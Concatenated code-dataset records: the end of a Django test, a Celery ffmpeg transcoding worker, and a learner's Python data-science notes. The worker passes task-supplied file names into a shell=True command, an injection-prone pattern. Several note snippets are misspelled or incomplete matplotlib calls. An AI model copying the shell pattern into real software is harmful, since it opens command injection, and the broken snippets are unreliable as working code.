instance_tm.get_dsm_response.return_value = (\"str1\", response_instance)\n        expected_msg = \"No computer found with the hostname test\"\n\n        response = self.client.post(url, req_data)\n        self.assertEqual(response.status_code, 404)\n        self.assertEqual(response.data, expected_msg)\n", "sub_path": "django_project/security/views/tests/test_decommission.py", "file_name": "test_decommission.py", "file_ext": "py", "file_size_in_byte": 5078, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.test.TestCase", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 19, "usage_type": "call"}, {"api_name": "mock.MagicMock", "line_number": 26, "usage_type": "call"}, {"api_name": "mock.MagicMock", "line_number": 29, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 38, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 36, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 54, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 52, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 70, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 68, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 88, "usage_type": "call"}, {"api_name": "mock.MagicMock", "line_number": 99, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 86, "usage_type": "call"}]}
+{"seq_id": "507178708", "text": "# coding: utf-8\n# Copyright 2017 video++ Project, SJTU MediaLab\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport socket\nimport random\nimport time\nimport shutil\n\nfrom celery import Celery\nimport subprocess\n\nfrom vpp import log\nfrom vpp.config import CONF\nfrom vpp.storage.api import get_storage_api\n\nminion = Celery(\n    backend=CONF.celery_backend_url,\n    broker=CONF.celery_broker_url,\n)\n\nminion.conf.task_acks_late=True\nminion.conf.worker_prefetch_multiplier = 1\nminion.conf.task_default_queue = 'default'\nminion.conf.task_routes = {\n    'vpp.minion.transcode.transcode_ffmpeg': {'queue': 'transcode'}\n}\n\n\nHOSTNAME = socket.gethostname()\n\nminion_log_dir = os.path.join(\"/var/log/vpp_minion\", HOSTNAME)\nminion_base_task_dir = os.path.join(\"/var/run/vpp_minion\", HOSTNAME)\n\nstorage_api = get_storage_api()\n\n\n@minion.task(bind=True)\ndef transcode_ffmpeg(self, task):\n    \"\"\"\n    :task: a json format task description\n    \"\"\"\n    print(\"ffmpeg minion: received task: %s\" % task)\n\n    if not os.path.exists(minion_log_dir):\n        os.makedirs(minion_log_dir)\n    if not os.path.exists(minion_base_task_dir):\n        os.makedirs(minion_base_task_dir)\n\n    task_id = task[\"task_id\"]\n    # if task_id.endswith('_1'):\n    #     time.sleep(100)\n\n    log_file = os.path.join(minion_log_dir, task_id + \".log\")\n    LOG = log.get_logger(__name__, log_file)\n    LOG.info(\"on host [%s]: received task: %s\" % (HOSTNAME, task))\n\n    task_dir = os.path.join(minion_base_task_dir, task_id)\n    if not os.path.exists(task_dir):\n        os.makedirs(task_dir)\n\n    remote_src_dir = task[\"in\"][\"dir\"]\n    remote_src_file_names = task[\"in\"][\"files\"]\n    remote_dst_dir = task[\"out\"][\"dir\"]\n    remote_dst_file_names = task[\"out\"][\"files\"]\n\n    for f_src, f_dst in zip(remote_src_file_names, remote_dst_file_names):\n        remote_src_file = os.path.join(remote_src_dir, f_src)\n        remote_dst_file = os.path.join(remote_dst_dir, f_dst)\n\n        local_src_file = os.path.join(task_dir, f_src)\n        local_dst_file = os.path.join(task_dir, \"speedup_x2_\" + f_dst)\n        try:\n            storage_api.download(remote_src_file, local_src_file)\n            LOG.info(\"file %s downloaded from storage server, saved to %s\" %\n                     (remote_src_file, local_src_file))\n        except Exception as e:\n            LOG.error(\"download file %s failed: %s\" % (remote_src_file, e))\n            return\n\n        # do processing\n        cmd = 'ffmpeg -y -i %s -strict experimental -filter:a \"atempo=2.0\" ' \\\n            '-filter:v \"setpts=0.5*PTS\" %s' % (local_src_file, local_dst_file)\n        proc = subprocess.Popen(cmd,\n                                shell=True,\n                                stdout=subprocess.PIPE,\n                                stderr=subprocess.STDOUT,\n                                universal_newlines=True)\n        while True:\n            line = proc.stdout.readline()\n            LOG.info(line)\n            if not line:\n                break\n\n        try:\n            storage_api.upload(local_dst_file, remote_dst_file)\n            LOG.info(\"uploaded file %s to storage server, saved to %s\" %\n                     (local_dst_file, remote_dst_file))\n        except Exception as e:\n            LOG.error(\"upload file %s failed: %s\" % (local_src_file, e))\n            return\n\n    # cleanup\n    try:\n        shutil.rmtree(task_dir)\n\n        if CONF.dry_run.remove_minion_log_file:\n            os.remove(log_file)\n\n    except Exception as e:\n        LOG.error(\"removing task dir[%s]: %s\" % (task_dir, e))\n", "sub_path": "vpp/minion/transcode.py", "file_name": "transcode.py", "file_ext": "py", "file_size_in_byte": 4027, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "celery.Celery", "line_number": 29, "usage_type": "call"}, {"api_name": "vpp.config.CONF.celery_backend_url", "line_number": 30, "usage_type": "attribute"}, {"api_name": "vpp.config.CONF", "line_number": 30, "usage_type": "name"}, {"api_name": "vpp.config.CONF.celery_broker_url", "line_number": 31, "usage_type": "attribute"}, {"api_name": "vpp.config.CONF", "line_number": 31, "usage_type": "name"}, {"api_name": "socket.gethostname", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "vpp.storage.api.get_storage_api", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "vpp.log.get_logger", "line_number": 67, "usage_type": "call"}, {"api_name": "vpp.log", "line_number": 67, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 96, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 98, "usage_type": "attribute"}, {"api_name": "subprocess.STDOUT", "line_number": 99, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 117, "usage_type": "call"}, {"api_name": "vpp.config.CONF.dry_run", "line_number": 119, "usage_type": "attribute"}, {"api_name": "vpp.config.CONF", "line_number": 119, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 120, "usage_type": "call"}]}
+{"seq_id": "63432324", "text": "# 1. Matplotlab\nimport matplotlib.pyplot as plt\nyear = [1950, 1970, 1990, 2010]\npop = [2.519, 3.692, 5.263, 6.972]\nplt.plot(year, pop)\nplt.scatt(year, pop)\nplt.show()\n\n\n# Line Plot\n# Print the last item from year and pop\nprint(year[-1])\nprint(pop[-1])\n\n# Import matplotlib.pyplot as plt\nimport matplotlib.pyplot as plt\n\n# Make a line plot: year on the x-axis, pop on the y-axis\nplt.plot(year, pop)\n\n# Display the plot with plt.show()\nplt.show()\n\n# Scatter Plot\n# Change the line plot below to a scatter plot\nplt.scatter(gdp_cap, life_exp)\n\n# Put the x-axis on a logarithmic scale\nplt.xscale('log')\n\n# Show plot\nplt.show()\n\n\n# Histogram\nimport matplotlib.pyplot as plt\n# Create histogram of life_exp data\nplt.hist(life_exp)\n\n# Display histogram\nplt.show()\n\n# In the previous exercise, you didn't specify the number of bins. \n# By default, Python sets the number of bins to 10 in that case. \n# The number of bins is pretty important. Too few bins will oversimplify reality and won't show you the details. \n# Too many bins will overcomplicate reality and won't show the bigger picture.\n# Build histogram with 5 bins\n\nplt.hist(life_exp, bins = 5)\n\n# Show and clean up plot\nplt.show()\nplt.clf()\n\n# Build histogram with 20 bins\nplt.hist(life_exp, bins = 20)\n\n# Show and clean up again\nplt.show()\nplt.clf()\n#plt.clf() cleans it up again so you can start afresh\n\n\n# Customization\nimport matplotlib.pyplot as plt\nyear = [1950, 1951, 1952, ..., 2100]\npop = [2.538, 2.57, 2.62, ..., 10.85]\n\nplt.plot(year, pop)\n\nplt.xlable('Year')\nplt.ylable('Population')\nplt.title('World Population Projections')\nplt.yticks(0, 2, 4, 6, 8, 10)\n\nplt.show()\n\n# Basic scatter plot, log scale\nplt.scatter(gdp_cap, life_exp)\nplt.xscale('log') \n\n# Strings\nxlab = 'GDP per Capita [in USD]'\nylab = 'Life Expectancy [in years]'\ntitle = 'World Development in 2007'\n\n# Add axis labels\nplt.xlabel(xlab)\nplt.ylabel(ylab)\n\n\n# Add title\nplt.title(title)\n# Definition of tick_val and tick_lab\ntick_val = [1000,10000,100000]\ntick_lab = ['1k','10k','100k']\n\n# Adapt the ticks on the x-axis\nplt.xticks(tick_val, tick_lab)\n\n\n# After customizing, display the plot\nplt.show()\n\n\n#Sizes\n# Import numpy as np\nimport numpy as np\n\n# Store pop as a numpy array: np_pop\nnp_pop = np.array(pop)\n\n\n# Double np_pop\nnp_pop = np_pop * 2\n\n\n# Update: set s argument to np_pop\nplt.scatter(gdp_cap, life_exp, s = np_pop)\n\n# Previous customizations\nplt.xscale('log') \nplt.xlabel('GDP per Capita [in USD]')\nplt.ylabel('Life Expectancy [in years]')\nplt.title('World Development in 2007')\nplt.xticks([1000, 10000, 100000],['1k', '10k', '100k'])\n\n# Display the plot\nplt.show()\n\n#Color\n# Specify c and alpha inside plt.scatter()\nplt.scatter(x = gdp_cap, y = life_exp, s = np.array(pop) * 2, c = col, alpha=0.8)\n\n# Previous customizations\nplt.xscale('log') \nplt.xlabel('GDP per Capita [in USD]')\nplt.ylabel('Life Expectancy [in years]')\nplt.title('World Development in 2007')\nplt.xticks([1000,10000,100000], ['1k','10k','100k'])\n\n# Additional customizations\nplt.text(1550, 71, 'India')\nplt.text(5700, 80, 'China')\n\n# Add grid() call\nplt.grid(True)\n# Show the plot\nplt.show()\n\n\n# 2. Dictionaries & Pandas\n# Definition of dictionary\neurope = {'spain':'madrid', 'france':'paris', 'germany':'berlin', 'norway':'oslo' }\n\n# Add italy to europe\neurope['italy'] = 'rome'\n\n# Print out italy in europe\nprint('italy' in europe)\n\n# Add poland to europe\neurope['poland'] = 'warsaw'\n\n# Print europe\nprint(europe)\n\n# Definition of dictionary\neurope = {'spain':'madrid', 'france':'paris', 'germany':'bonn',\n          'norway':'oslo', 'italy':'rome', 'poland':'warsaw',\n          'australia':'vienna' }\n\n# Update capital of germany\neurope['germany'] = 'berlin'\n\n# Remove australia\ndel(europe['australia'])\n\n# Print europe\nprint(europe)\n\n# Pre-defined lists\nnames = ['United States', 'Australia', 'Japan', 'India', 'Russia', 'Morocco', 'Egypt']\ndr =  [True, False, False, False, True, True, True]\ncpc = [809, 731, 588, 18, 200, 70, 45]\n\n# Import pandas as pd\nimport pandas as pd\n\n# Create dictionary my_dict with three key:value pairs: my_dict\nmy_dict = {'country': names, 'drives_right': dr, 'cars_per_cap': cpc}\n\n# Build a DataFrame cars from my_dict: cars\ncars = pd.DataFrame(my_dict)\n\n# Definition of row_labels\nrow_labels = ['US', 'AUS', 'JAP', 'IN', 'RU', 'MOR', 'EG']\n\n# Specify row labels of cars\ncars.index = row_labels\n\n# Print cars again\nprint(cars)\n\n# CSV file: \"comma-separated values\"\n# Import pandas as pd\nimport pandas as pd\n\n# Fix import by including index_col\ncars = pd.read_csv('cars.csv', index_col = 0)\n\n# Print out cars\nprint(cars)\n\n# index and select data\n# column access: [[]]: eg. brics[['country']], brics[['country', 'capital']]\n# row access: brics[1:4]\n# loc: label-based, which means that you have to specify rows and columns based on their row and column labels\n# row access: brics.loc[['RU','IN', 'CH']]\n# column access: brics.loc[:, [\"country\",\"capital\"]]\n# row & column access: brics.loc[[\"RU\", \"IN\", \"CH\"], [\"country\", \"capital\"]]\n\n# iloc:nteger index based, so you have to specify rows and columns by their integer index like you did in the previous exercise.\n# row access iloc: brics.Iloc[[1,2,3]\n# row & column iloc: brics.iloc[[1,2,3],[0,1]]\n# Import cars data\nimport pandas as pd\ncars = pd.read_csv('cars.csv', index_col = 0)\n\n# Print out country column as Pandas Series\nprint (cars['country'])\n\n# Print out country column as Pandas DataFrame\nprint (cars[['country']])\n\n# Print out DataFrame with country and drives_right columns\nprint (cars[['country', 'drives_right']])\n\n# Import cars data\nimport pandas as pd\ncars = pd.read_csv('cars.csv', index_col = 0)\n\n# Print out first 3 observations\nprint(cars[0:3])\n\n# Print out fourth, fifth and sixth observation\nprint(cars[3:6])\n\n# Print out observation for Japan\nprint(cars.loc['JAP'])\n\n# Print out observations for Australia and Egypt\nprint(cars.loc[['AUS', 'EG']])\n\n# Print out drives_right value of Morocco\nprint(cars.loc['MOR', 'drives_right'])\n\n# Print sub-DataFrame\nprint(cars.loc[['RU','MOR'], ['country', 'drives_right']])\n\n# Print out drives_right column as Series\nprint(cars.loc[:, 'drives_right'])\n\n\n# Print out drives_right column as DataFrame\nprint(cars.loc[:, ['drives_right']])\n\n# Print out cars_per_cap and drives_right as DataFrame\nprint(cars.loc[:, ['cars_per_cap', 'drives_right']])\n\n\n#3. Comparision, Logic\n# Boolean Operators with Numpy\n# Create arrays\nimport numpy as np\nmy_house = np.array([18.0, 20.0, 10.75, 9.50])\nyour_house = np.array([14.0, 24.0, 14.25, 9.0])\n\n# my_house greater than 18.5 or smaller than 10\nprint(np.logical_or(my_house > 18.5, my_house < 10))\n\n# Both my_house and your_house smaller than 11\nprint(np.logical_and(my_house < 11, your_house < 11))\n\n# Filtering Pandas DataFrame\n# goals: select countries with area over 8 million km2\n# 3 steps: select the area column, do comparison on area column, use result to select countries\nbrics[brics['area'] > 8]\nnp.logical_and(brics['area'] > 8, brics['area'] < 10)\n\n# Import cars data\nimport pandas as pd\ncars = pd.read_csv('cars.csv', index_col = 0)\n\n# Use dr to subset cars: sel\nsel = cars['drives_right']\n\n# Print sel\nprint(sel)\n\n# Import cars data\nimport pandas as pd\ncars = pd.read_csv('cars.csv', index_col = 0)\n\n# Import numpy, you'll need this\nimport numpy as np\n\n# Create medium: observations with cars_per_cap between 100 and 500\ncpc = cars['cars_per_cap']\nbetween = np.logical_and(cpc > 100, cpc < 500)\nmedium = cars[between]\n\n\n# Print medium\nprint(medium)\n\n\n# 4. Loops\nfam = [1.73, 1.68, 1.71, 1.89]\nfor index, height in enumerate(fam) :\n    print(\"index \" + str(index) + \": \" + str(height))\n\n# house list of lists\nhouse = [[\"hallway\", 11.25], \n         [\"kitchen\", 18.0], \n         [\"living room\", 20.0], \n         [\"bedroom\", 10.75], \n         [\"bathroom\", 9.50]]\n         \n# Build a for loop from scratch\n\nfor x in house:\n    print(\"the \" + str(x[0]) + \" is \" + str(x[1]) + \" sqm\")\n\n# Loop Data Structures\n# loop over dictionary\nworld = { \"afghanistan\":30.55, \n          \"albania\":2.77,\n          \"algeria\":39.21 }\n\nfor key, value in world.items() :\n    print(key + \" -- \" + str(value))\n\n# Loop over Numpy array\n# 2D array\nfor x in np.nditer(my_array) :\n    ...\n\n# Import numpy as np\nimport numpy as np\n\n# For loop over np_height\nfor x in np_height:\n    print(str(x) + \" inches\")\n\n# For loop over np_baseball\nfor x in np.nditer(np_baseball):\n    print(x)\n\n#Iterating over a Pandas DataFrame\n# Import cars data\nimport pandas as pd\ncars = pd.read_csv('cars.csv', index_col = 0)\n\n# Adapt for loop\nfor lab, row in cars.iterrows() :\n    print(lab + \": \" + str(row['cars_per_cap']))\n\n\n# Add column\nfor lab, row in brics.iterrows() :\n    brics.loc[lab, \"name_length\"] = len(row[\"country\"])\n\n# Import cars data\nimport pandas as pd\ncars = pd.read_csv('cars.csv', index_col = 0)\n\n# Code for loop that adds COUNTRY column\nfor lab, row in cars.iterrows():\n    cars.loc[lab, \"COUNTRY\"] = row[\"country\"].upper()\n\n# Print cars\nprint(cars)\n\n#Using iterrows() to iterate over every observation of a Pandas DataFrame is easy to understand, but not very efficient. On every iteration, you're creating a new Pandas Series.\n# use apply for the same thing\n# Use .apply(str.upper)\ncars[\"COUNTRY\"] = cars[\"country\"].apply(str.upper)\n\nprint(cars)\n\n\n# 5. Case Study\n# Random Number\n# seed(): sets the random seed, so that your results are the reproducible between simulations. As an argument, it takes an integer of your choosing. If you call the function, no output will be generated.\n# rand(): if you don't specify any arguments, it generates a random float between zero and one.\n# Import numpy as np\nimport numpy as np\n\n# Set the seed\nnp.random.seed(123)\n\n# Generate and print random float\nprint(np.random.rand())\n\n#Roll the dice\n# Import numpy and set seed\nimport numpy as np\nnp.random.seed(123)\n\n# Use randint() to simulate a dice, 7 is not inclued\nprint(np.random.randint(1,7))\n\n# Use randint() again\nprint(np.random.randint(1,7))\n\n\nimport numpy as np\nnp.random.seed(123)\n\n# Starting step\nstep = 50\n\n# Roll the dice\ndice = np.random.randint(1,7)\n\n# Finish the control construct\nif dice <= 2 :\n    step = step - 1\nelif dice <= 5 :\n    step = step + 1\nelse :\n    step = step + np.random.randint(1,7)\n\n# Print out dice and step\nprint(dice)\nprint(step)\n\n\n# Random Walk\n# Import numpy and set seed\nimport numpy as np\nnp.random.seed(123)\n\n# Initialize random_walk\nrandom_walk = [0]\n\n# Complete the ___\nfor x in range(100) :\n    # Set step: last element in random_walk\n    step = random_walk[-1]\n\n    # Roll the dice\n    dice = np.random.randint(1,7)\n\n    # Determine next step\n    if dice <= 2:\n        step = max(0, step - 1)\n    elif dice <= 5:\n        step = step + 1\n    else:\n        step = step + np.random.randint(1,7)\n\n    # append next_step to random_walk\n    random_walk.append(step)\n\n# Print random_walk\nprint(random_walk)\n\n# to make sure that a variable x never goes below 10 when you decrease it, you can use:\nx = max(10, x - 1)\n\nimport matplotlib.pyplot as plt\nplt.plot(random_walk)\nplt.show()\n\n\n# Distributions\nimport matplotlib.pyplot as plt\nimport numpy as np\nnp.random.seed(123)\nall_walks = []\n\n# Simulate random walk 250 times\nfor i in range(10) :\n    random_walk = [0]\n    for x in range(100) :\n        step = random_walk[-1]\n        dice = np.random.randint(1,7)\n        if dice <= 2:\n            step = max(0, step - 1)\n        elif dice <= 5:\n            step = step + 1\n        else:\n            step = step + np.random.randint(1,7)\n\n        # Implement clumsiness\n        if ___ :\n            step = 0\n\n        random_walk.append(step)\n    all_walks.append(random_walk)\n\n# Create and plot np_aw_t\nnp_aw_t = np.transpose(np.array(all_walks))\nplt.plot(np_aw_t)\nplt.show()\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nnp.random.seed(123)\nall_walks = []\n\n# Simulate random walk 500 times\nfor i in range(500) :\n    random_walk = [0]\n    for x in range(100) :\n        step = random_walk[-1]\n        dice = np.random.randint(1,7)\n        if dice <= 2:\n            step = max(0, step - 1)\n        elif dice <= 5:\n            step = step + 1\n        else:\n            step = step + np.random.randint(1,7)\n        if np.random.rand() <= 0.001 :\n            step = 0\n        random_walk.append(step)\n    all_walks.append(random_walk)\n\n# Create and plot np_aw_t\nnp_aw_t = np.transpose(np.array(all_walks))\n\n# Select last row from np_aw_t: ends\nends = np_aw_t[-1, :]\n\n# Plot histogram of ends, display plot\nplt.hist(ends)\nplt.show()\n", "sub_path": "Intermediate Python for Data Science.py", "file_name": "Intermediate Python for Data Science.py", "file_ext": "py", "file_size_in_byte": 12424, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.pyplot.plot", "line_number": 5, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 5, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatt", "line_number": 6, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 6, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 7, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xscale", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlable", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylable", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xscale", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xscale", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xscale", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 143, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 149, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 194, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 210, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 228, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 241, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 276, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.logical_or", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 289, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 293, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 310, "usage_type": "call"}, {"api_name": "numpy.nditer", "line_number": 346, "usage_type": "call"}, {"api_name": "numpy.nditer", "line_number": 357, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 363, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 376, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 401, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 401, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 404, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 404, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 409, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 409, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 412, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 412, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", 